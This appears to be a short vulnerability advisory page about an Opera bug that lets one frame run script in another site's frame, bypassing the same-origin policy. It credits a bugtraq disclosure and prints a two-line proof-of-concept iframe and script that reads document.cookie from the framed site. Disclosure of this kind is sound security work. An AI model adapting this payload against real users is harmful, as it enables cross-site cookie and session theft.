• info
• discussion
• exploit
• solution
• references

Opera Frame Location Same Origin Policy Circumvention Vulnerability

Exploit details are available in the bugtraq post by Andreas Sandblad <sandblad@acc.umu.se>, available within the references section. In general, exploits will take the following form:

<iframe name=foo src="www.sensitive.com"></iframe>
<script>foo.location="javascript:alert(document.cookie)";</script>